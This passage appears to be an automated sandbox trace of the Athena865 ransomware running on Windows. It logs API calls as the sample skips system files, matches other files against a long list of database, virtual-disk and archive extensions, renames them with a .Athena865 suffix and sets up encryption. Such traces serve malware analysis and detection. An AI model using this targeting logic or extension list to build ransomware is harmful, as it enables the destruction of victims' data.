returned 1 [0092.333] lstrlenW (lpString="accdt") returned 5 [0092.333] lstrcmpiW (lpString1="e.htm", lpString2="accdt") returned 1 [0092.334] lstrlenW (lpString="accdw") returned 5 [0092.334] lstrcmpiW (lpString1="e.htm", lpString2="accdw") returned 1 [0092.334] lstrlenW (lpString="accft") returned 5 [0092.334] lstrcmpiW (lpString1="e.htm", lpString2="accft") returned 1 [0092.334] lstrlenW (lpString="adb") returned 3 [0092.334] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.334] lstrlenW (lpString="adb") returned 3 [0092.334] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.334] lstrlenW (lpString="ade") returned 3 [0092.334] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0092.334] lstrlenW (lpString="adf") returned 3 [0092.334] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1 [0092.334] lstrlenW (lpString="adn") returned 3 [0092.334] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0092.334] lstrlenW (lpString="adp") returned 3 [0092.334] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0092.334] lstrlenW (lpString="alf") returned 3 [0092.334] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0092.334] lstrlenW (lpString="ask") returned 3 [0092.334] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0092.334] lstrlenW (lpString="btr") returned 3 [0092.334] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0092.334] lstrlenW (lpString="cat") returned 3 [0092.334] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0092.334] lstrlenW (lpString="cdb") returned 3 [0092.334] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0092.334] lstrlenW (lpString="ckp") returned 3 [0092.334] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0092.334] lstrlenW (lpString="cma") returned 3 [0092.334] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0092.335] lstrlenW (lpString="cpd") returned 3 [0092.335] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0092.335] lstrlenW (lpString="dacpac") returned 6 [0092.335] lstrcmpiW (lpString1="me.htm", lpString2="dacpac") returned 1 [0092.335] lstrlenW (lpString="dad") returned 3 [0092.335] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0092.335] lstrlenW (lpString="dadiagrams") returned 10 [0092.335] lstrlenW (lpString="daschema") returned 8 [0092.335] lstrcmpiW (lpString1="eame.htm", lpString2="daschema") returned 1 [0092.335] lstrlenW (lpString="db-journal") returned 10 [0092.335] lstrlenW (lpString="db-shm") returned 6 [0092.335] lstrcmpiW (lpString1="me.htm", lpString2="db-shm") returned 1 [0092.335] lstrlenW (lpString="db-wal") returned 6 [0092.335] lstrcmpiW (lpString1="me.htm", lpString2="db-wal") returned 1 [0092.335] lstrlenW (lpString="dbc") returned 3 [0092.335] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0092.335] lstrlenW (lpString="dbs") returned 3 [0092.335] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0092.335] lstrlenW (lpString="dbt") returned 3 [0092.335] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0092.335] lstrlenW (lpString="dbv") returned 3 [0092.335] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0092.335] lstrlenW (lpString="dbx") returned 3 [0092.335] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0092.335] lstrlenW (lpString="dcb") returned 3 [0092.335] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0092.335] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0092.335] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0092.336] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0092.336] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm.Athena865") returned 60 [0092.336] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm.athena865"), dwFlags=0x1) returned 1 [0092.337] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.337] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16955) returned 1 [0092.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.338] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.339] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.339] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.339] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4540, lpName=0x0) returned 0x154 [0092.340] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4540) returned 0x100000 [0092.342] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.343] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.343] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.344] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.344] CloseHandle (hObject=0x154) returned 1 [0092.344] CloseHandle (hObject=0x17c) returned 1 [0092.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.344] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LeesMij.htm", cAlternateFileName="")) returned 1 [0092.344] lstrcmpiW (lpString1="LeesMij.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.344] lstrcmpiW (lpString1="LeesMij.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2=".") returned 1 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2="..") returned 1 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2="windows") returned -1 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2="bootmgr") returned 1 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2="temp") returned -1 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2="pagefile.sys") returned -1 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2="boot") returned 1 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2="ids.txt") returned 1 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2="ntuser.dat") returned -1 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2="perflogs") returned -1 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2="MSBuild") returned -1 [0092.345] lstrlenW (lpString="LeesMij.htm") returned 11 [0092.345] lstrcpyW (in: lpString1=0x241e89a, lpString2="LeesMij.htm" | out: lpString1="LeesMij.htm") returned="LeesMij.htm" [0092.345] lstrlenW (lpString="LeesMij.htm") returned 11 [0092.345] lstrlenW (lpString="Athena865") returned 9 [0092.345] lstrcmpiW (lpString1="esMij.htm", lpString2="Athena865") returned 1 [0092.345] lstrlenW (lpString=".dll") returned 4 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2=".dll") returned 1 [0092.345] lstrlenW (lpString=".lnk") returned 4 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2=".lnk") returned 1 [0092.345] lstrlenW (lpString=".ini") returned 4 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2=".ini") returned 1 [0092.345] lstrlenW (lpString=".sys") returned 4 [0092.345] lstrcmpiW (lpString1="LeesMij.htm", lpString2=".sys") returned 1 [0092.345] lstrlenW (lpString="LeesMij.htm") returned 11 [0092.345] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm.Athena865") returned 62 [0092.345] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm.athena865"), dwFlags=0x1) returned 1 [0092.347] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.347] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16867) returned 1 [0092.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.347] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.348] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.348] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.348] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44f0, lpName=0x0) returned 0x154 [0092.350] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x44f0) returned 0x100000 [0092.352] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.353] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.353] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.353] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.354] CloseHandle (hObject=0x154) returned 1 [0092.354] CloseHandle (hObject=0x17c) returned 1 [0092.354] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.355] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.355] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.355] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4289, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Leggimi.htm", cAlternateFileName="")) returned 1 [0092.355] lstrcmpiW (lpString1="Leggimi.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.355] lstrcmpiW (lpString1="Leggimi.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.355] lstrcmpiW (lpString1="Leggimi.htm", lpString2=".") returned 1 [0092.355] lstrcmpiW (lpString1="Leggimi.htm", lpString2="..") returned 1 [0092.355] lstrcmpiW (lpString1="Leggimi.htm", lpString2="windows") returned -1 [0092.355] lstrcmpiW (lpString1="Leggimi.htm", lpString2="bootmgr") returned 1 [0092.355] lstrcmpiW (lpString1="Leggimi.htm", lpString2="temp") returned -1 [0092.355] lstrcmpiW (lpString1="Leggimi.htm", lpString2="pagefile.sys") returned -1 [0092.355] lstrcmpiW (lpString1="Leggimi.htm", lpString2="boot") returned 1 [0092.355] lstrcmpiW (lpString1="Leggimi.htm", lpString2="ids.txt") returned 1 [0092.356] lstrcmpiW (lpString1="Leggimi.htm", lpString2="ntuser.dat") returned -1 [0092.356] lstrcmpiW (lpString1="Leggimi.htm", lpString2="perflogs") returned -1 [0092.356] lstrcmpiW (lpString1="Leggimi.htm", lpString2="MSBuild") returned -1 [0092.356] lstrlenW (lpString="Leggimi.htm") returned 11 [0092.356] lstrcpyW (in: lpString1=0x241e89a, lpString2="Leggimi.htm" | out: lpString1="Leggimi.htm") returned="Leggimi.htm" [0092.356] lstrlenW (lpString="Leggimi.htm") returned 11 [0092.356] lstrlenW (lpString="Athena865") returned 9 [0092.356] lstrcmpiW (lpString1="ggimi.htm", lpString2="Athena865") returned 1 [0092.356] lstrlenW (lpString=".dll") returned 4 [0092.356] lstrcmpiW (lpString1="Leggimi.htm", lpString2=".dll") returned 1 [0092.356] lstrlenW (lpString=".lnk") returned 4 [0092.356] lstrcmpiW (lpString1="Leggimi.htm", lpString2=".lnk") returned 1 [0092.356] lstrlenW (lpString=".ini") returned 4 [0092.356] lstrcmpiW (lpString1="Leggimi.htm", lpString2=".ini") returned 1 [0092.356] lstrlenW (lpString=".sys") returned 4 [0092.356] lstrcmpiW (lpString1="Leggimi.htm", lpString2=".sys") returned 1 [0092.356] lstrlenW (lpString="Leggimi.htm") returned 11 [0092.356] lstrlenW (lpString="bak") returned 3 [0092.356] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0092.356] lstrlenW (lpString="ba_") returned 3 [0092.356] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0092.356] lstrlenW (lpString="dbb") returned 3 [0092.356] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0092.356] lstrlenW (lpString="vmdk") returned 4 [0092.356] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0092.356] lstrlenW (lpString="rar") returned 3 [0092.356] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0092.356] lstrlenW (lpString="zip") returned 3 [0092.356] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0092.356] lstrlenW (lpString="tgz") returned 3 [0092.357] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0092.357] lstrlenW (lpString="vbox") returned 4 [0092.357] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0092.357] lstrlenW (lpString="vdi") returned 3 [0092.357] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0092.357] lstrlenW (lpString="vhd") returned 3 [0092.357] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0092.357] lstrlenW (lpString="vhdx") returned 4 [0092.357] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0092.357] lstrlenW (lpString="avhd") returned 4 [0092.357] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0092.357] lstrlenW (lpString="db") returned 2 [0092.357] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0092.357] lstrlenW (lpString="db2") returned 3 [0092.357] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0092.357] lstrlenW (lpString="db3") returned 3 [0092.357] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0092.357] lstrlenW (lpString="dbf") returned 3 [0092.357] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0092.357] lstrlenW (lpString="mdf") returned 3 [0092.357] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0092.357] lstrlenW (lpString="mdb") returned 3 [0092.357] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0092.357] lstrlenW (lpString="sql") returned 3 [0092.357] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0092.357] lstrlenW (lpString="sqlite") returned 6 [0092.357] lstrcmpiW (lpString1="mi.htm", lpString2="sqlite") returned -1 [0092.357] lstrlenW (lpString="sqlite3") returned 7 [0092.357] lstrcmpiW (lpString1="imi.htm", lpString2="sqlite3") returned -1 [0092.358] lstrlenW (lpString="sqlitedb") returned 8 [0092.358] lstrcmpiW (lpString1="gimi.htm", lpString2="sqlitedb") returned -1 [0092.358] lstrlenW (lpString="xml") returned 3 [0092.358] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0092.358] lstrlenW (lpString="$er") returned 3 [0092.358] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0092.358] lstrlenW (lpString="4dd") returned 3 [0092.358] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0092.358] lstrlenW (lpString="4dl") returned 3 [0092.358] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0092.358] lstrlenW (lpString="^^^") returned 3 [0092.358] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0092.358] lstrlenW (lpString="abs") returned 3 [0092.358] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0092.358] lstrlenW (lpString="abx") returned 3 [0092.358] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0092.358] lstrlenW (lpString="accdb") returned 5 [0092.358] lstrcmpiW (lpString1="i.htm", lpString2="accdb") returned 1 [0092.358] lstrlenW (lpString="accdc") returned 5 [0092.358] lstrcmpiW (lpString1="i.htm", lpString2="accdc") returned 1 [0092.358] lstrlenW (lpString="accde") returned 5 [0092.358] lstrcmpiW (lpString1="i.htm", lpString2="accde") returned 1 [0092.358] lstrlenW (lpString="accdr") returned 5 [0092.358] lstrcmpiW (lpString1="i.htm", lpString2="accdr") returned 1 [0092.358] lstrlenW (lpString="accdt") returned 5 [0092.358] lstrcmpiW (lpString1="i.htm", lpString2="accdt") returned 1 [0092.358] lstrlenW (lpString="accdw") returned 5 [0092.358] lstrcmpiW (lpString1="i.htm", lpString2="accdw") returned 1 [0092.358] lstrlenW (lpString="accft") returned 5 [0092.358] lstrcmpiW (lpString1="i.htm", lpString2="accft") returned 1 [0092.358] lstrlenW (lpString="adb") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.359] lstrlenW (lpString="adb") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.359] lstrlenW (lpString="ade") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0092.359] lstrlenW (lpString="adf") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1 [0092.359] lstrlenW (lpString="adn") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0092.359] lstrlenW (lpString="adp") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0092.359] lstrlenW (lpString="alf") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0092.359] lstrlenW (lpString="ask") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0092.359] lstrlenW (lpString="btr") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0092.359] lstrlenW (lpString="cat") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0092.359] lstrlenW (lpString="cdb") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0092.359] lstrlenW (lpString="ckp") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0092.359] lstrlenW (lpString="cma") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0092.359] lstrlenW (lpString="cpd") returned 3 [0092.359] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0092.359] lstrlenW (lpString="dacpac") returned 6 [0092.359] lstrcmpiW (lpString1="mi.htm", lpString2="dacpac") returned 1 [0092.359] lstrlenW (lpString="dad") returned 3 [0092.360] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0092.360] lstrlenW (lpString="dadiagrams") returned 10 [0092.360] lstrcmpiW (lpString1="eggimi.htm", lpString2="dadiagrams") returned 1 [0092.360] lstrlenW (lpString="daschema") returned 8 [0092.360] lstrcmpiW (lpString1="gimi.htm", lpString2="daschema") returned 1 [0092.360] lstrlenW (lpString="db-journal") returned 10 [0092.360] lstrcmpiW (lpString1="eggimi.htm", lpString2="db-journal") returned 1 [0092.360] lstrlenW (lpString="db-shm") returned 6 [0092.360] lstrcmpiW (lpString1="mi.htm", lpString2="db-shm") returned 1 [0092.360] lstrlenW (lpString="db-wal") returned 6 [0092.360] lstrcmpiW (lpString1="mi.htm", lpString2="db-wal") returned 1 [0092.360] lstrlenW (lpString="dbc") returned 3 [0092.360] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0092.360] lstrlenW (lpString="dbs") returned 3 [0092.360] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0092.360] lstrlenW (lpString="dbt") returned 3 [0092.360] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0092.360] lstrlenW (lpString="dbv") returned 3 [0092.360] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0092.360] lstrlenW (lpString="dbx") returned 3 [0092.360] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0092.360] lstrlenW (lpString="dcb") returned 3 [0092.360] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0092.360] lstrlenW (lpString="dct") returned 3 [0092.360] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0092.360] lstrlenW (lpString="dcx") returned 3 [0092.360] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0092.360] lstrlenW (lpString="ddl") returned 3 [0092.360] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0092.360] lstrlenW (lpString="dlis") returned 4 [0092.361] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1 [0092.361] lstrlenW (lpString="dp1") returned 3 [0092.361] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1 [0092.361] lstrlenW (lpString="dqy") returned 3 [0092.361] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1 [0092.361] lstrlenW (lpString="dsk") returned 3 [0092.361] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1 [0092.361] lstrlenW (lpString="dsn") returned 3 [0092.361] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1 [0092.361] lstrlenW (lpString="dtsx") returned 4 [0092.361] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1 [0092.361] lstrlenW (lpString="dxl") returned 3 [0092.361] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1 [0092.361] lstrlenW (lpString="eco") returned 3 [0092.361] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1 [0092.361] lstrlenW (lpString="ecx") returned 3 [0092.361] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1 [0092.361] lstrlenW (lpString="edb") returned 3 [0092.361] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1 [0092.361] lstrlenW (lpString="epim") returned 4 [0092.361] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1 [0092.361] lstrlenW (lpString="fcd") returned 3 [0092.361] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1 [0092.361] lstrlenW (lpString="fdb") returned 3 [0092.361] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1 [0092.361] lstrlenW (lpString="fic") returned 3 [0092.361] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1 [0092.361] lstrlenW (lpString="flexolibrary") returned 12 [0092.361] lstrlenW (lpString="fm5") returned 3 [0092.361] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1 [0092.361] lstrlenW (lpString="fmp") returned 3 [0092.362] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1 [0092.362] lstrlenW (lpString="fmp12") returned 5 [0092.362] lstrcmpiW (lpString1="i.htm", lpString2="fmp12") returned 1 [0092.362] lstrlenW (lpString="fmpsl") returned 5 [0092.362] lstrcmpiW (lpString1="i.htm", lpString2="fmpsl") returned 1 [0092.362] lstrlenW (lpString="fol") returned 3 [0092.362] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1 [0092.362] lstrlenW (lpString="fp3") returned 3 [0092.362] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1 [0092.362] lstrlenW (lpString="fp4") returned 3 [0092.362] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1 [0092.362] lstrlenW (lpString="fp5") returned 3 [0092.362] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1 [0092.362] lstrlenW (lpString="fp7") returned 3 [0092.362] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1 [0092.362] lstrlenW (lpString="fpt") 